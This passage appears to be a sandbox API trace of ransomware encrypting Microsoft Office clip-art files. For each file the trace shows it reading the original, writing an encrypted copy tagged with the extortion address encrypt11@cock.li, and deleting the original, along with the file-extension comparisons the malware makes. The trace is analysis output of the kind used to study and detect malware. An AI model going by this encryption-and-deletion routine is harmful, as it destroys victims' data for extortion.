Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0137.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.197] lstrlenW (lpString=".doc") returned 4 [0137.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.197] lstrlenW (lpString=".docx") returned 5 [0137.197] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0137.197] lstrlenW (lpString=".pdf") returned 4 [0137.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.197] lstrlenW (lpString=".xls") returned 4 [0137.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.197] lstrlenW (lpString=".xlsx") returned 5 [0137.197] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0137.197] lstrlenW (lpString=".ppt") returned 4 [0137.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.197] lstrlenW (lpString=".zip") returned 4 [0137.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.197] lstrlenW (lpString=".rar") returned 4 [0137.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString=".bz2") returned 4 [0137.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString=".7z") returned 3 [0137.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.198] lstrlenW (lpString=".dbf") returned 4 [0137.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.198] lstrlenW (lpString=".1cd") returned 4 [0137.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.198] lstrlenW (lpString=".jpg") returned 4 [0137.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.198] lstrlenW (lpString=".doc") returned 4 [0137.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString=".docx") returned 5 [0137.198] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0137.198] lstrlenW (lpString=".pdf") returned 4 [0137.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString=".xls") returned 4 [0137.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.198] lstrlenW (lpString=".xlsx") returned 5 [0137.198] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0137.198] lstrlenW (lpString=".ppt") returned 4 [0137.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.198] lstrlenW (lpString=".zip") returned 4 [0137.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.198] lstrlenW (lpString=".rar") returned 4 [0137.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.198] lstrlenW (lpString=".bz2") returned 4 [0137.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.199] lstrlenW (lpString=".7z") returned 3 [0137.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.199] lstrlenW (lpString=".dbf") returned 4 [0137.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.199] lstrlenW (lpString=".1cd") returned 4 [0137.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0137.199] lstrlenW (lpString=".jpg") returned 4 [0137.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.199] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.199] lstrlenW (lpString="J0099173.WMF") returned 12 [0137.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.199] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=37140) returned 1 [0137.199] CloseHandle (hObject=0x4c8) returned 1 [0137.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0137.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.200] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.200] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.200] GetLastError () returned 0x0 [0137.200] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x9114, lpOverlapped=0x0) returned 1 [0137.226] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x9120, lpOverlapped=0x0) returned 1 [0137.227] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.227] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.227] SetEndOfFile (hFile=0x4c4) returned 1 [0137.227] CloseHandle (hObject=0x4c4) returned 1 [0137.227] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.227] SetEndOfFile (hFile=0x4c8) returned 1 [0137.229] CloseHandle (hObject=0x4c8) returned 1 [0137.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0137.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.230] lstrlenW (lpString=".doc") returned 4 [0137.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.230] lstrlenW (lpString=".docx") returned 5 [0137.230] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0137.230] lstrlenW (lpString=".pdf") returned 4 [0137.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.230] lstrlenW (lpString=".xls") returned 4 [0137.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.231] lstrlenW (lpString=".xlsx") returned 5 [0137.231] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0137.231] lstrlenW (lpString=".ppt") returned 4 [0137.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.231] lstrlenW (lpString=".zip") returned 4 [0137.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.231] lstrlenW (lpString=".rar") returned 4 [0137.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString=".bz2") returned 4 [0137.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString=".7z") returned 3 [0137.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.231] lstrlenW (lpString=".dbf") returned 4 [0137.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.231] lstrlenW (lpString=".1cd") returned 4 [0137.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.231] lstrlenW (lpString=".jpg") returned 4 [0137.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.231] lstrlenW (lpString=".doc") returned 4 [0137.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString=".docx") returned 5 [0137.231] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0137.231] lstrlenW (lpString=".pdf") returned 4 [0137.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.231] lstrlenW (lpString=".xls") returned 4 [0137.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.232] lstrlenW (lpString=".xlsx") returned 5 [0137.232] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0137.232] lstrlenW (lpString=".ppt") returned 4 [0137.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.232] lstrlenW (lpString=".zip") returned 4 [0137.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.232] lstrlenW (lpString=".rar") returned 4 [0137.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.232] lstrlenW (lpString=".bz2") returned 4 [0137.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.232] lstrlenW (lpString=".7z") returned 3 [0137.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.232] lstrlenW (lpString=".dbf") returned 4 [0137.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.232] lstrlenW (lpString=".1cd") returned 4 [0137.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0137.232] lstrlenW (lpString=".jpg") returned 4 [0137.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.232] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.232] lstrlenW (lpString="J0099174.WMF") returned 12 [0137.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.233] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6214) returned 1 [0137.233] CloseHandle (hObject=0x4c8) returned 1 [0137.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0137.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.233] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.234] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.234] GetLastError () returned 0x0 [0137.234] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1846, lpOverlapped=0x0) returned 1 [0137.250] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1850, lpOverlapped=0x0) returned 1 [0137.251] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.251] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.251] SetEndOfFile (hFile=0x4c4) returned 1 [0137.251] CloseHandle (hObject=0x4c4) returned 1 [0137.251] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.251] SetEndOfFile (hFile=0x4c8) returned 1 [0137.253] CloseHandle (hObject=0x4c8) returned 1 [0137.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0137.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.254] lstrlenW (lpString=".doc") returned 4 [0137.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.254] lstrlenW (lpString=".docx") returned 5 [0137.254] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0137.254] lstrlenW (lpString=".pdf") returned 4 [0137.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.254] lstrlenW (lpString=".xls") returned 4 [0137.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.254] lstrlenW (lpString=".xlsx") returned 5 [0137.255] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0137.255] lstrlenW (lpString=".ppt") returned 4 [0137.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.255] lstrlenW (lpString=".zip") returned 4 [0137.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.255] lstrlenW (lpString=".rar") returned 4 [0137.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString=".bz2") returned 4 [0137.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString=".7z") returned 3 [0137.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.255] lstrlenW (lpString=".dbf") returned 4 [0137.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.255] lstrlenW (lpString=".1cd") returned 4 [0137.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.255] lstrlenW (lpString=".jpg") returned 4 [0137.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.255] lstrlenW (lpString=".doc") returned 4 [0137.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.255] lstrlenW (lpString=".docx") returned 5 [0137.255] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0137.255] lstrlenW (lpString=".pdf") returned 4 [0137.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.256] lstrlenW (lpString=".xls") returned 4 [0137.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.256] lstrlenW (lpString=".xlsx") returned 5 [0137.256] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0137.256] lstrlenW (lpString=".ppt") returned 4 [0137.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.256] lstrlenW (lpString=".zip") returned 4 [0137.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.256] lstrlenW (lpString=".rar") returned 4 [0137.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.256] lstrlenW (lpString=".bz2") returned 4 [0137.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.256] lstrlenW (lpString=".7z") returned 3 [0137.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.256] lstrlenW (lpString=".dbf") returned 4 [0137.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.256] lstrlenW (lpString=".1cd") returned 4 [0137.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0137.256] lstrlenW (lpString=".jpg") returned 4 [0137.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.256] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.256] lstrlenW (lpString="J0099175.WMF") returned 12 [0137.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.257] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9744) returned 1 [0137.257] CloseHandle (hObject=0x4c8) returned 1 [0137.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0137.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.258] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.258] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.259] GetLastError () returned 0x0 [0137.259] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x2610, lpOverlapped=0x0) returned 1 [0137.262] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2620, lpOverlapped=0x0) returned 1 [0137.264] ReadFile (in: hFile=0x4c8, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.264] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.264] SetEndOfFile (hFile=0x4c4) returned 1 [0137.265] CloseHandle (hObject=0x4c4) returned 1 [0137.267] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.267] SetEndOfFile (hFile=0x4c8) returned 1 [0137.275] CloseHandle (hObject=0x4c8) returned 1 [0137.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0137.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0137.276] lstrlenW (lpString="C:\\Program Files\\Microsoft 